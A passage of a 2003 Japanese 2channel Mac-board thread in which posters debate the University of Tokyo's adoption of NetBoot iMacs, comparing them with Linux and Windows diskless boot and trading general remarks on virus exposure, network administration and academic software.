WordとかExcelとか使えるのは嬉しいんじゃないだろか。
自前で買うとアカデミックライセンスでもやっぱり高い。
…でもそれくらいしか思いつかないな。自分のパソコン持ちこんだら普通は
自分の普段の環境で使いたいと思うよね。
（自宅からNetbootなんてしたくないし）。
0314名称未設定
03/10/05 10:01ID:6mErv69i生み出しうるものと考えているのかが分からない以上、外野があれこれ言っても始まらないと思うが。
個人的には主目的の１つとは思えないが。
0315名称未設定
03/10/05 10:04ID:dnSRBktj東大生の必需品にPowerBookやiBookかな。マジで。
今回納入された以上のスペック必要なら個人で買って端末付け替えればいいだけで
卒論とか自宅と教授の環境が同じなのはいいことです。
これがWinだとセキュリティ上持ち込み禁止になる可能性大。
0316名称未設定
03/10/05 10:13ID:V4zYd9sjたまにwinからのウィルスメールが届くけど、なんの影響も無いことを考えるとさ。
0319名称未設定
03/10/05 10:25ID:GoBPi4ZROSXも早くウィルス作ってもらえるくらいメジャーになって
持ち込み禁止になれれば良いですね
あなたがたの仰るOSXはセキュリティが高いというメリット
ってのは使用者の微小さが原因であり、決して堅牢性が高いわけじゃない
このメリットとやらを享受していくためには
いつまでも1.4％程度のシェアを保たなければならない
そうなることは明白なんですけどね
0320名称未設定
03/10/05 10:27ID:dnSRBktj意外と良いペースでレスが入ってるので…ここでお約束。
タヌキのコラムが掲載されたらあとは必ず900踏んだひとが新スレ立ち上げて下さい。
多分、一気に伸びると思われ…。
良識あるMac使いの皆様よろしく。(-｡-)y-゜゜゜
0321名称未設定
03/10/05 10:27ID:V4zYd9sjただ、気持ち良く、作業したいだけ。
0322名称未設定
03/10/05 10:28ID:TgUXyJBT0326名称未設定
03/10/05 10:38ID:IzFHyNpAマジで高卒だからですか？www
0327名称未設定
03/10/05 10:46ID:dnSRBktjいまやドサも風前の灯ですか？
G5の発表以来 Mac板でのドサ話にクロック云々がなくなって
東大でのMac大量導入でシェア云々もなくなり、ドサの荒らしが
いまやほとんど見当たらない。
いまいるのは元ネタの理解力すらない荒らしのみ。
0328名称未設定
03/10/05 10:51ID:RO3nax480329名称未設定
03/10/05 10:52ID:AtG1D2VD大学ってところの環境、わかってる？
そもそも教養、学部の共用PC環境と、講座ごとのPC環境は全く別物。
教官だってwin note使ってるんだから、そんな無茶苦茶、教授会でまず通らないべ。
分析機器のオペレーションは今やWinが主流。
これらが同じネットワークを共有するのだから、外部からWinの持ち込みを規制するなぞ、無理。
生産性を極端に落とすだけ。
＃全教官にMacを強要したら、論文かけなくなる人も出てくるだろうな。
東大にMacが導入されてうれしいﾏｶｰがいるのはわかるが、いつまでも鬼の首を取ったように喜んでいて、揚げ句の果てに誇大妄想が入り始めると、いい加減いたいものがあるな。
0330名称未設定
03/10/05 10:55ID:V4zYd9sj「いつまでも鬼の首を取ったように喜んでいて」
鬼の首とられたような衝撃だったんだね・・・
初期はこのスレってアカデミックな利用をいろいろ関係者的な人が
ｺｿｺｿ話してたんだよね。いつのまにかに誰かの必死さのせいで祭りになったけどね。
0331名称未設定
03/10/05 10:56ID:GoBPi4ZRまぁ、こういう祭りが奴らの信仰心を保ってる訳だから
そっとウォッチしてましょうよ
やつらは誇大妄想、現実逃避を繰り返すことにより
自己の正当性、優位性を保つしかないんですから
東大にモニターとして導入されたこと、ただそれだけで
ここまで妄想膨らめ、飛躍し、勝ち誇る種族も珍しい
実際は低機能高価格マシンで、アプリもデバイスも皆無な状態であることは何処かにふっとんでいますね
シェア1.4％の集団はそんなもんですよ
0332名称未設定
03/10/05 10:57ID:6mErv69i>そんな無茶苦茶、教授会でまず通らないべ。
そんな無茶苦茶ってどんな無茶苦茶をさしてるのかが不明なんで何とも言えないんだが、
317が言ってるのは共用ネットワークに個人持込のPCを接続する話をしてるんだろ？
0334名称未設定
03/10/05 10:58ID:qEhXa9va「ネットワークにつなぎさえすれば、授業環境ができ上がる 」
て書いてあるぞ。
特殊なアプリケーションとかデータベースを使えるようにするんだろうな。
自分の使い慣れたノートパソコンがBTOでキーボードかえたやつとかの場合は便利だと思う
0336名称未設定
03/10/05 11:00ID:V4zYd9sjそんな使い古された餌に飛びつくのはドザだけですよ。笑
0337名称未設定
03/10/05 11:08ID:D0x6uyJrＳＡＳが共用で使えるのはいいんでは。
マック版の高度な統計ソフトて、今はあるの
スタットビューも今のバージョンはイケルのかな？
329＝331 ？
昨日の晩から、必ず誰か相づち入れてるねｗ この手の意見の後にすぐに
すぐに別人宣言がくると思うけどww
0338名称未設定
03/10/05 11:13ID:75jqAE5W○同人宣言
0339名称未設定
03/10/05 11:27ID:AtG1D2VD>317が言ってるのは共用ネットワークに個人持込のPCを接続する話をしてるんだろ？
個人持ち込みのWinPCの接続を禁止するっていってるから、無茶苦茶だといっているのだ。
まあ、Win、Macにかぎらず、学生は研究室に配属されるまで、実質的に持ち込みPCを共用ネットワークに接続する手段を与えられていない可能性は有りうるけどね。
あと、>>330も>>331もどっちももちけつ。
漏れ自身は、MacOSX上でSambaを通して分析機器につながっているWinからからデーターを吸い上げ、ExcelやGnuplotでデーター処理やグラフを書いて、GMTやIllustratorで図表を作りつつ、Nisus Writer on Classicで論文を書いている。
MacOSXはいろんな環境をまとめて使えるのが強み。
Netboot以外にも大学、研究で使う魅力はたくさんある。
一方で、Winでないと使えない解析ソフトもあり、そんなものをVPC上で使ってられないので、Winが無くなればとも思わない。
アカデミックな環境にとって、○○だけで、他は締め出すというのは、あり得ないのだよ。
0340329=339
03/10/05 11:34ID:AtG1D2VDうんにゃ。別人。
とか言うと喜ぶのだろうけど。
高度な統計ソフトというと、とりあえずRかな。Poormas's S。
SPSSってもうMac版は無いのかしら？
0341名称未設定
03/10/05 11:35ID:GoBPi4ZRだが実際ほとんど使われてるのは
Excelの統計アドインくらいなんだけどな
0342名称未設定
03/10/05 11:37ID:4nca9UHE少なくとも俺が入学したときには既にＭａｃだった。
もちろん個人用にＭａｃも買った。
0343名称未設定
03/10/05 11:53ID:pitZ9pOj知らなかったな。
0344298,300,304
03/10/05 11:59ID:dGueV0tU>>305 違います。MacとNC端末が違いと利点は分かってる。
現状のNC端末はLinuxで、MacならOSX。OSXならネイティブでOfficeやMac謹製アプリを動かせるという
メリットがある。
興味があるのはNetBootという仕組みについて。
appleのサイトを見ると、利点は強調されているけど
それって別に現在のシステムでもできているんじゃないかなぁ、というのが気になってね。
LinuxじゃなくてMacを採用した決め手じゃあないんじゃないかと。
（それなのにやたらとインタビューでも取り上げられている）
0345名称未設定
03/10/05 12:05ID:Og1GyHJrLinuxじゃなくてMac OS Xが起動するところ、だろ？
0346名称未設定
03/10/05 12:08ID:cJPmqclQNetbootはWindowsで利用できないから、一般的じゃないのでしょう。
Netbootできて、商用アプリが使える。Winソフトは仮想端末で利用。
この環境をメーカー保証付きで提供できる環境はMac OS Xしかない。
0347名称未設定
03/10/05 12:13ID:VPsgtvitプログラミング環境として、端末にUNIXが欲しい。＞Winは初めから選択外。
0348名称未設定
03/10/05 12:14ID:T8jMTD5tMacのようにNetbootとも言わないし、イメージ読み出す以上のことが
できるが。
MCSEもってるやつがそばにいたら、聞いてみな
ムチムチｗ
0349名称未設定
03/10/05 12:16ID:6mErv69i研究室のネットワークに接続するのは分かるよ。そこまで制限したら不便だもの。
でも、個人持込のコンピュータを1000台以上のネットワークに接続するのを、許可するのか？
0350名称未設定
03/10/05 12:30ID:xWIHSZyM今は教室においてあるパソコンはWindows。
（Mac OS X が動いている iMac もあるけど）
でも、Windowsの方がよく使われてるな。
コマンドプロンプトもコントロールパネルも開かないし、
ソフトのインストールは禁止されてるのに。
しかも、マシンによっては、とても遅い。
...MacはMacで、自分で設定しないとメールが使えないんだけども。
>>344
ネイティブで Office とかが動いてNetBootができるっていうと現状ではMac、って
ことなんじゃないですかね。
「何か一つが決め手になってMac」じゃなくて「全体としてみてMac」なんだろうと。
| 興味があるのはNetBootという仕組みについて。
LinuxのディスクレスブートとMacのNetBootの違いが知りたいってことすか？
0351298,300,304
03/10/05 12:34ID:dGueV0tUやはりそうでしょうね。
＞LinuxのディスクレスブートとMacのNetBootの違いが知りたい
そうですね。興味あります。ちょっとググって見たところ本質的な違いはないかな？
0353名称未設定
03/10/05 12:41ID:pitZ9pOjもってるのはWinノートだったな。
0356名称未設定
03/10/05 12:49ID:6mErv69iだよね、ゲートで厳しい検問してもパイロットが機内に爆弾持ち込むようなものだもんな。
何の為のfirewallだって話だな。
0357355
03/10/05 12:49ID:xWIHSZyM（Windowsのファイルサーバに接続できないし、インターネットに
直接出られない）けども。
0358名称未設定
03/10/05 12:58ID:xWIHSZyMfirewall は組織外部からの攻撃を防ぐためだから...。
firewallがなければないでもっとひどいことになってただろうけど、
企業も官庁も大学も、組織内部でBlaster広がったのってたぶん
みんなこのパターンだわな。
0360名称未設定
03/10/05 13:04ID:TgUXyJBTウィルスにかかる。
偉い人が「個人PC接続禁止にしろ」と管理者を怒る。
ウィルスにかかる。
偉い人が「ルールも守れない奴はクビにするから名前調べろ」と管理者を怒る。
管理してる全PCに固定IP割り振って、DHCP切る。
偉い人が「俺のPCが繋がらなくなった」と管理者を怒る。
「おまえじゃねぇか！」とは言えない、俺はしがないサラリーマン。
0362名称未設定
03/10/05 13:54ID:D0x6uyJr笑うとこじゃないんだろうけどｗ
企業だと固定の方が、いいでしょ。
ログとってますよん、悪いことするとモロバレですよんって、
抑止力になるし。
しかし、LAＮカードや無線のカードだと、MACアドレスで制限しても
個体を変えて接続可能か・・・
0363名称未設定
03/10/05 13:56ID:H30+oaSiわたしもOBですが、なにか？
－－
いえ、まさに「鬼の首をとった」んですよ。
東大の計算機センターといったら、やっぱりコンピューターに
対する理解度と要求度がかなり高いところです。そこでのほぼ全面転換を
勝ち取ったわけですから、まさに鬼の首をとった状態です。
この意味がわからない人はまったくナンセンスですな。
それとシェアうんぬんとウイルスうんぬんを引っ掛けて
言ってる人がいますが、これもとんちんかんですな。
韓国のネットワークが麻痺した事件を忘れたんですか？
あれはなぜだったか？
UNIXはネットワークでは非常に高いシェアを持っています。
しかし、やられたのは少数派の韓国のWindows系サーバーでした。
シェアが高ければ、ウィルスやクラッキングに弱くて、シェアが低いと
狙われないということではありません。弱いところがねらわれるのです。
韓国では、UNIX技術者がまだ少なくて、ふつうならUNIXで組むのが常識な
NameserverやMailserverまでWindows系でネットワークを組んでたから
簡単にやられてしまったわけです。
このように、シェアが低いことと、セキュリティ上強い弱いは関係ありません。
MacOSにウィルスが少なかったのは、たしかにシェアが低いせいでしたが、
UNIX系であるOS Xについては、セキュリティ上シェアが低いことは
関係ありません。
UNIX系はシェアが高い低いに係らず、そのシステム構造上メールに
添付するウィルスみたいなものは、もともと作りにくいのです。
Winのは起動フロッピー＆インストールCDがネットワークになる、て認識の方が
正しそうなんだけど、フルのWin環境が起動できるの？
そうだったら興味あり、なにせバイト先がちょうどそういう環境を求めていて
今調べている最中だから。
>>351
MacOSXはNetInfoがあるから自前のHDDを使えそうなんだけど、Linuxは大丈夫なの？
RCとかをよほど上手く設定しないと大変そうなんだけど、教えて偉い人！
0365名称未設定
03/10/05 14:10ID:V4zYd9sjをもってると、甚大な被害を及ぼすって事だよね・・・困った困った。
0366名称未設定
03/10/05 14:16ID:gUI1mfBsサーバの負荷、端末の操作感とか、大違いなんじゃないの。
現実は使った事ないから分からんけど。
0367名称未設定
03/10/05 14:20ID:WjdWf0lz凄い電波文ですね。コピペっすか？
0368名称未設定
03/10/05 14:27ID:iZ1Cz7Fp端末に特定の文字を表示するとバグるのをついてroot権限のっとったという噂を
聞いたことがありますです…
ま、Windowsのやばいのは普通つかってるアカウントの権限が
強すぎるからなわけですが。root権限のっとる必要がないというか。
0369名称未設定
03/10/05 14:32ID:djkFI+Kehttp://www.mintwave.co.jp/tc/vid.html
0370名称未設定
03/10/05 14:34ID:CUbxWWIM0371名称未設定
03/10/05 14:37ID:dnSRBktj来年度以降の東大生はMac使った事ない奴はいないことになる。
いままでWinな環境だった官公庁にMacが広がるのも時間の問題か？
0372名称未設定
03/10/05 14:37ID:8o3/tytMインストール時のアカウントでないと使えないアプリがごまんとあるからな。
結局administrator権限で使わざるをえない…
0374名称未設定
03/10/05 14:45ID:TgUXyJBTもちろん、基本的に全てのPCに固定IP割り振ってあります。
でも。
偉い人は「自宅や出張に行って繋がらないぞ」と管理者を怒る。
DHCPから取得するように設定してあげる。
偉い人は「家では繋がったのに社内に戻ってきたら繋がらん」と管理者を怒る。
社内ではPCに貼付けたラベルに書いてあるIPに戻して下さいと説明する。
偉い人は「外と社内で一々設定変えられるか！なんとかしろ」と管理者を怒る。
そして今日も揺るぎなくDHCPサーバーは動き続けるのである。
0375名称未設定
03/10/05 14:45ID:4XXWJki7たかだか大学の教養でつかうコンピューターがそこまで影響するかいな。
せいぜいこれによって、OSの違いを気にしない、というか、windowsじゃないくても
別に困らないな、とOSへの執着が減った連中が増える程度では？
その結果、コンピューターなんぞ、大して変らないのだからどうしてもwindowsじゃなくても
いいし、抗堪性を上げるために他のOSのコンピュータも入れておくか、という考え方が
多少なりとも広がれば、windows一極支配に少しは風穴が開くかもしれん、という程度。
0376名称未設定
03/10/05 14:50ID:TgUXyJBTだからOBかどうかは関係ないだろ？
>>359のように、今、そして近い将来、東大の学内でPC使う立場なら別だが。
そんなことも分からねぇでOBとか書かない方がいいよ。
0377名称未設定
03/10/05 14:52ID:ueCEwTDHプログラムが仕込んでありますので、彼らが官僚になる時には、日本も
政官財がマック一色になると思います。
0378名称未設定
03/10/05 14:54ID:CUbxWWIM0379342
03/10/05 15:07ID:4nca9UHEあ、そうなの。
ふーん。なんか乱暴な言い方をすればさ、
Ｍａｃって良くも悪くも都立大の専売特許みたいな感じだったのにな。
そんで工学部の教授にものすげーアンチマカーがいて、さんざん悪口言ってたっけ。
俺は工学部で、実験室はwin（DOS/V）ばっかだったけど、
それでもおれを含め理系の割にマカーは多かったなぁ。
東大もそういった流れになるんかね。そのうちなくなるのかね、趣味色高いもんねMac。
セキュリティ云々を抜かしたら、教室に置いてあるのはwinで十分って気はするものね、
コスト的にも。
なんでMacにしたんだろね東大。
ミニマルなインターフェースにさ美学を感じたとかさ、
導入した担当の納得のいく材料がＭａｃに揃っていたってことかな。
まぁ、偉いよ。惰性でwin選ばないあたり。しがらみとかあるだろうに。
そんな選択できる担当がいるってちょっとホカホカした気分になるよ。
0380名称未設定
03/10/05 15:10ID:df4wsPx7あなたコレ読みましたか？
東大がiMacを選んだ理由/安東孝二助手に聞く
http://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/comp/269593
東大がiMacを大量導入/アップル原田社長に聞く
http://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/prom/269063
0381名称未設定
03/10/05 15:13ID:jua7+POg0383名称未設定
03/10/05 15:19ID:jua7+POg最初のスレで詳しい人に聞いたのですが、unix系で一般的なnfsとbootparamを使った
ネットワークブートとのことなので、OSXのモノもlinuxのモノもほとんど違いはないと思われます。
その人はsolarisと全く同じといってましたね。
0385名称未設定
03/10/05 15:34ID:GoBPi4ZR韓国のIISとSQL Serverの麻痺事件は、ほとんどUNIXからのアタックなのだが
そのせいで逆にSQL Serverの普及が知れ渡ったよな
どちらも、素人でさえも使いやすい
Winは昔からあるように、VBAでディスクフォーマットまで可能なほど自由度が高い
昔は根幹業務でそういったものが必要だった
逆にそれらの自由度が高ければ高いほど、脆弱性であるとの見方がされはじめた
ま、使い手の問題だ
セキュリティは高いが、がんじがらめのダム端末にするか、そうじゃないか
ウィルスの問題はMSよりも、インターネットが抱えている問題だ
作り手を特定可能なら、こういう犯罪も起きまい
君らは何が何でもMS悪し、憎しだろうけどな
0386名称未設定
03/10/05 15:36ID:ueCEwTDH0387名称未設定
03/10/05 15:42ID:4XXWJki7インターネットが問題の根幹なのかと言うと、若干疑問がある。
設計思想に由来する、悪意あるユーザーの存在に対して脆弱さを抱えたまま寡占状態
となり、ひとつのエラッタが引き起こす問題の大きさと、同じ問題を抱えたコンピューター
の物理的な数の多さゆえに社会的な問題点になりつつあるのが現状かと。
0388名称未設定
03/10/05 15:43ID:jua7+POgまぁまぁ。
利点が強調され、危険性がおざなりにされてしまうのは
どんなものでも普及期にはよく見られることです。
普及期には利点を強調した方が売れるのは当然だし
コンピュータ業界ではその最先鋒がMSだったというだけ。
そういう流れの中でトップに立つためには、セキュリティ(対危険性)が
犠牲になるのはある意味致し方がないことですよね。
そういうやり方をしてきたからこそMSはトップにいるわけであり
逆にそうしてなかったら似たようなやり方をする別の会社がトップにいただけの話だよね。
公害とか交通事故とかがそうであったように
やっと「コンピュータシステムの脆弱性が社会のアキレス腱になりうる」っていうことが
認識されてきた所って事で、これからはセキュリティなしでは売れなくなってくる。
それは市場が成熟したって事で、健全な動きだと思う。
0389名称未設定
03/10/05 15:46ID:GoBPi4ZRその寡占状態はほとんどユーザーの意思によりそうなったっていうのが事実だ
これが崩れるのもユーザーの意思以外ない
一大学が導入したことにより、これが崩れることは無く
その大学の卒業生は即戦力には成りにくくなる
決してMSの悪行で寡占状態が起こされたと考えない方が、マカの身のためだ
サンクス。
む、３０台規模のうちだとちょうど良いのかもしれん・・・。
>>383
こちらもありがとう。
netbootそのものは一緒だけど、その後のローカルをどうするか／どうできるかの
差になるのかな？、差が生じるのなら。
>>384
事例の一番最初が「クライアント９００台規模で３億円」とあるね、>>369の
リンク先に。
まあこれはLANだけでなくて支社間の接続も含んでのようだけど。
0392名称未設定
03/10/05 15:50ID:jua7+POgMSの悪行で寡占状態が起こされたわけじゃないっていうのは同意だが、
前段は多分に勘違いを含んでいるように思う。
全消費者が冷静に商品を選ぶほど暇でもなく、商品について詳しいわけでもない。
単純に消費者の選択によって市場が形成されるというのは少しプリミティブすぎる見方かと。
それにiMacは端末として使われるだけで、winもlinuxも使えるんだから即戦力になりにくくなるっていうのも
間違っているというか、勘違いしているんじゃないかな。
0393名称未設定
03/10/05 15:52ID:dnSRBktj>その大学の卒業生は即戦力には成りにくくなる
これってMacしか使わないと思ってる？
Mac使ってるひとってWinも使えるがその逆って抵抗あるらしいよ。
0395名称未設定
03/10/05 15:53ID:jua7+POgいや、ローカルをどうするかっていうのもローカルディスクをどうマウントするかっていう話だから
その点も全く同じだと思う。
0396名称未設定
03/10/05 15:53ID:4XXWJki7そうさのう。
現実に何らかの危機が起こらなければ、その認識が一般に広がらないわけで。
去年からMS自身Trustworthy Computingを打ち出しており、危機感を持っていた
が、Bluster騒ぎなどでセキュリティへの感心が一般に広がったといったところが
現状だろうか。
0400名称未設定
03/10/05 16:06ID:dnSRBktj900踏んだらこれでお願い。↓
前スレ
東京大学に Mac 大量導入
(p)http://pc.2ch.net/test/read.cgi/mac/1064396911/
東京大学に Mac 大量導入2
(p)http://pc.2ch.net/test/read.cgi/mac/1064640157/
iMac が 1149 台 (´∀｀)
(p)( p)http://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
東大がiMacを選んだ理由/安東孝二助手に聞く
(p)http://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/comp/269593
東大がiMacを大量導入/アップル原田社長に聞く
(p)http://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/prom/269063
(※ここまでの経過)
事の起こりは、日本の最高偏差値集団の東京大学が
次期システムにMacを選んだとこに始まり。
(p)http://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
Win信仰者やMac嫌悪者に動揺が広がったことでスレが伸びたが、
さらに火に油を注いだエセITコンサルタントの今や幻のコラム
『なぜLinuxを捨てるのか、東大』に2chの祭りとなる。
(p)http://www.asahi.com/column/aic/index.html
(p)http://www.asahi.com/column/aic/Fri/d_forum/20031003.html
(p)http://tanupack.com/cgi-bin/tanupguest.cgi
0401名称未設定
03/10/05 16:15ID:ub7Mq834(※ここまでの経過) って別に朝日のが全てじゃないんだからさ。。。
0402名称未設定
03/10/05 16:15ID:IzFHyNpAまだ400だしドザが張り切らなければひとまずこのスレでも充分だと思うが。
0403名称未設定
03/10/05 16:18ID:DjXgwSen首都圏の某国立大のセンターは大学をアビバにしたがってるらしい… ＿|￣|○
0404名称未設定
03/10/05 16:23ID:dnSRBktjしまった!! (p)消し忘れましたぁm(_ _)m
>>402
予想では一気に伸びると思われます。＼(ﾟoﾟ;)／ウヒャー
0405名称未設定
03/10/05 17:33ID:N2dbjsC0そうすりゃ、家に帰って作業して自分のディスクスペースと同期できる。
いずれ、学内どこでも、AirMacでつながるんだろうな。羨ましいよ。
0407名称未設定
03/10/05 17:50ID:rIxvYPKHhttp://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
ファイルサーバ
* 超高速NAS NEC iStorageNV7220
* 総容量は，現システムの約8倍，ユーザ一人当たりのディスク容量は未定
* WebDAV(Oracle Files)により外部からの利用も可能
だから別にAppleのiDiskを使わないで大学が自前で用意しているんじゃない？
Macに変わっても維持した点は、netboot、UNIX系OSということによる教育的機能
さらに、変わったメリットとしては、windows系汎用アプリも走るというところでしょうか。
netbootの利点はまさにiDiskやウェブメールと同じで、どのＰＣからでも
同じ環境が得られるってことじゃないんですかね。ある意味大学のサーバが
iDisk化すると言えるかも。
あと、OSXは窓に比べて起動が実に速やかだと思うんですが、いかがでしょうか。
余談ですが情報処理ナビゲーター5のp.448に書いてある、
このX11 for Mac OS Xを走らせてみましたが、なかなか凄いです。
http://www.apple.co.jp/macosx/x11/index.html
あまりＰＣについて分かっていない人ですが。。。
0409名称未設定
03/10/05 18:26ID:dnSRBktjMac雑誌でGIMPをみつけてから
X11 for Mac OS X使ってますがなかなかいいですよね。
OSXソフトを同時使用してDesktopManagerで切り替えしてますが
UNIXがこれほど身近に使えるとほんとよいです。
0410名称未設定
03/10/05 18:30ID:g0jXhczw0411名称未設定
03/10/05 18:31ID:N2dbjsC0>今総合図書館のメディアプラザからPowerbookG4(OSX)をつないでここにアクセスしています。
それは、無線なのでしょうか？
0412名称未設定
03/10/05 18:34ID:gIwXRbXGいや、有線で、telnetで学内ランに繋いでいます。
airmacカードがあれば無線LAN接続が可能なのですが（涙
0415名称未設定
03/10/05 18:49ID:GoBPi4ZR東大ってマカの巣屈かよ
0416名称未設定
03/10/05 18:54ID:N2dbjsC0>いや、有線で、telnetで学内ランに繋いでいます。
>airmacカードがあれば無線LAN接続が可能なのですが（涙
ってことは、無線も使えるということですね。
appleから、10万円ノート、噂のeBookが出そうな予感。
出るとしたら、リムーバルディスクレス、無線LAN標準でしょうね。
それから、Macの起動は速くないですよね。
PBなら、一々電源落としてないでしょ。
蓋しめてスリープ。
蓋空けると、スリープからの復帰が速く、すぐ使えるということでは？
図書館が７時で閉まる～～～～
土休日も10時半まで開けてくれよ！
>>410
僕の入学時にもらった情報処理ナビゲータと比べても、この図書館
メディアプラザにおいてある最新版は非常に充実していますね。
完全自費出版というのが何とも。。。
0418インサイダー ◆YOAhuXDUD6
03/10/05 19:17ID:JGr8zXcC某所からのネタだけど、SやRじゃ因子分析ができないらしい。
分野にもよるけど因子分析必須なところもあるからな。
0420名称未設定
03/10/05 19:44ID:GoBPi4ZR時代が違うよ
省資源化の今日、公共機関のとるべき姿勢は大学とて同じこと
0421名称未設定
03/10/05 19:52ID:pitZ9pOj0423名称未設定
03/10/05 20:01ID:WKkz5uKF0425名称未設定
03/10/05 20:11ID:4NhCPgHtそういう人けっこう多いよ。
バイオ系の実験室で24時間照明環境で培養してるのを遠くから見て、
一晩中窓に明りが見えるのは省エネルギーに反するから消したまえ
と本気で大学本部にねじ込んできた「環境保護派」がいたりしたぞ。
0427名称未設定
03/10/05 20:20ID:1Pmc9pXi誰でもWindowsとかOfficeぐらい使えるだろ。
それはOS Xでも、Linuxでもおなじでさ。
共用端末がなんであろうが。
(勿論、各種OSの設定ができるようになるかは使えるかとは別だけど、
即戦力ってきっとそういうことじゃないよね？)
ま、東大生が不可避にiMacを触るので、
彼(女)等が自分のマシンを買う時に
Macを選択肢にいれる可能性がちょっとだけでも増えるってのが
マカにとっては嬉しい所だね。
逆に、Mac使えね、という感想を持つ学生もいるだろうけど、
現状ではそもそもハナから選択肢に入ってないだろうからね。
と、数年まえの自分を思い出して。
0428名称未設定
03/10/05 20:24ID:aPC8X8j80429名称未設定
03/10/05 21:19ID:JHOMCNkT0430名称未設定
03/10/05 21:24ID:dnSRBktjX11 for Mac OS X
Virtual PC For Mac OS
これで現状ほぼ全てに対応できるしソフト的にも今までの継承もOK。
使ってる感想から言ってもメモリさえ確保すればほぼ全てを同時使用でき
動画編集でもしないかぎり実用可能レベル(G4の1Ghz以上なら)。
ただし、Win用の3D系ゲームはダメですが…東大に必要ないか。
ツモ! ( -_-)m圀圀圀圄圄圄回回回國國國團團m ゲームでもこっちかな。
0431名称未設定
03/10/05 22:16ID:4PBwhhnrと、共用パソコンでエミュやってるやつ見てそう思タ
0432名称未設定
03/10/05 23:12ID:ZxJtCvXT0433名称未設定
03/10/05 23:45ID:SuMCKpfUみんな電源入れっぱなしじゃないの？
会社のDNS鯖に自分のドメイン登録して、自分のUNIX端末でWebやMLサーバーとか
動かしてる友達がいたけど＞準大手の一次プロバイダー
0434名称未設定
03/10/05 23:59ID:HGvOGLeo作業中のウィンドウも開きっぱなしで帰ったら次の日マネージャに注意された。
とりあえずうちは個人用の端末（ディスプレイのある端末）は全部電源を
落とすことになってます。
0435名称未設定
03/10/06 00:35ID:qre+bwc90436名称未設定
03/10/06 00:41ID:C3cHSZkAというのが問題とか聞いた。
無論、Macも同じなんだけど、メンテナンスアップデートは、ある程度の期間で出
てくるし、Linux企業よりは会社が大きいから、まだ安心できるらしい。
また、OS、ハードを一つの会社で発売してるというも関係あるとか・・・
Linuxなり、Windowsなりは、どうしてもOSとハードウェアベンダーが違うから、
そのエラーがハードウェアからくるモノなのか、それともソフトウェアからくるも
のかの判断が微妙である場合、ややこしい事になるらしい。
まぁ、んじゃその部分をAppleができるかって言われたら話は別なんだけど、法人
相手にはきっちりやるだろうから・・・・多分
0437名称未設定
03/10/06 01:24ID:eqF0Mfdh会社のXPは週に二三度かたまるが、家のMacOSXは買ってからいまだにフリーズしてない。
0439名称未設定
03/10/06 01:40ID:hwAa3K5V値段は出ていないかもしれない。
proprietaryなプロトコル使ったりするので、端末機はMintwaveから買う必要がある。
いろいろ要望は聞いてくるので相談すべし。
大量に買う場合は、NICをそろえてカスタマイズしてもらう。
あと、VIDのライセンスがかかる。これは一台当たりHDD の値段くらいかな？
がんばればFSB800のP4マシンをサーバーにして80台ブートするようになった。
サーバーは現在のところWin2000および2003かな？サーバーをLinux化する予定も
ありそう。クライアントとしてLinuxもブートする。Macよりは今のところスケールする。
マルチキャストもブートシーケンスの一部で使っている。
佐賀大、一橋大、湘南工科大などで経験つんでいるので、大分枯れてきた。
Windows使いたい人でdiskless bootの恩恵を受けたい人はこれだね。
次のバージョンからはL2でなくてもL3でブートできるようになるし。
ま、MacのようにHTTPでブートしたりはしないがこれで十分だろう。
世の中適材適所なので、VIDなりMacなり好きな方使えばいい。
＃今回うちに入るWinマシンは全てVIDで構成します。
0440名称未設定
03/10/06 01:46ID:YQqUUSCo0441名称未設定
03/10/06 01:56ID:aTcR3udCもっとも来年には前面改訂するはめになるだろうが……
0442名称未設定
03/10/06 02:13ID:PU5o6biNディスプレイを切るっていうか、
ログオフするもしくはロックするのが常識ですよ。
0443名称未設定
03/10/06 03:19ID:3aNiTunGログオン状態で放置してもマカ的に問題ないんですよ。たぶん。
0444名称未設定
03/10/06 03:21ID:oMm2JdoO俺はスクリーンセーバーにパスワードロックかけて、右上をホットスポットにしてる。
席を離れるときはマウスを右上ホットスポットに持っていけばOK。
0445名称未設定
03/10/06 03:21ID:k9baPR1a卒業生の即戦力といっても、なんのための即戦力かによって違うでしょ。
・新聞配達の即戦力なのか？
・メーカーの営業の即戦力なのか？
・官庁の即戦力なのか？
・研究者としての即戦力なのか？
Winを使い慣れてて、ExcelやWordで文書書けることは、
一般会社員の即戦力にはなるかもしれないけど、
東大の卒業生は、ふつうの大学とはかなり違った就職先だし。
数からいえば、東大でも経済学部を中心に一般企業に就職する人が
多いんだろうけど、東大の使命は、一般会社員を作ることでは
ないでしょ。
数は相対的には少ないけど、研究者とか官僚とかを作るのが本来なわけだ。
理系の研究者で、Winしか使えないじゃ困るし、官庁もどちらかというと、
最近はネットワークはUNIXベースのところが多いわけだ。
0446名称未設定
03/10/06 03:22ID:k9baPR1aいま、思い出したけど、住基ネットの侵入実験とかあったよね。
田中長野県知事がああいうこと言いだすまで、あの住基ネットが
あんなにいいかげんなものだとは思わなかった。
一般の町村役場のLANが住基にもつながってたなんて！
住基ネット専用の回線もろくに整備されてないなんて！
全国に何千何万とある役場にろくなSEがいるはずもなく、
Winしか使ったことない田舎のおっさんたちが管理してるわけだから、
セキュリティもないに等しく、インターネットからLAN、住基と
こんなのハッカーどころか、誰でも侵入できる。どうせ、おっさんたちは
住基のパスワードだって、その辺のファイルに放り出してあるだろうし。
総務省の高級役人たちは、ネットワークUNIXの知識が皆無だから、
こういう危険性もわからず、技術者の忠告も聞かずに無茶な指示を
出し続けていたらしい。何十億も使ってこのざまだ。
こうなると、官僚にもWinの操作法よりは、UNIXのなんたるか、ネットワークの
なんたるかの基本知識が素養として必要なわけだ。
だから、官僚の即戦力にはExcelよりもUNIX教育の方が必要なんだよ。
東大がより使いやすいUNIXに転換したのは正解なんだよ。
0449名称未設定
03/10/06 05:10ID:aNPL47mcでもそれってすごく重要なことだよね。MacはBSD系+PowerPCってことで、
Intel用のエクスプロイト書き慣れてる連中には非常に与しにくいプラット
フォームになってる。特にエンディアンの関係で、Intel系のバッファ
オーバーランコードを簡単には転用できないのがおおきい。だから、
IA-UNIX用のウイルスがカジュアルハッカーにポーティングされて
被害をもたらすとかっていう事態もまだ起きてない。
遺伝子プールと同じで、プラットフォームの多様性はそれ自体が
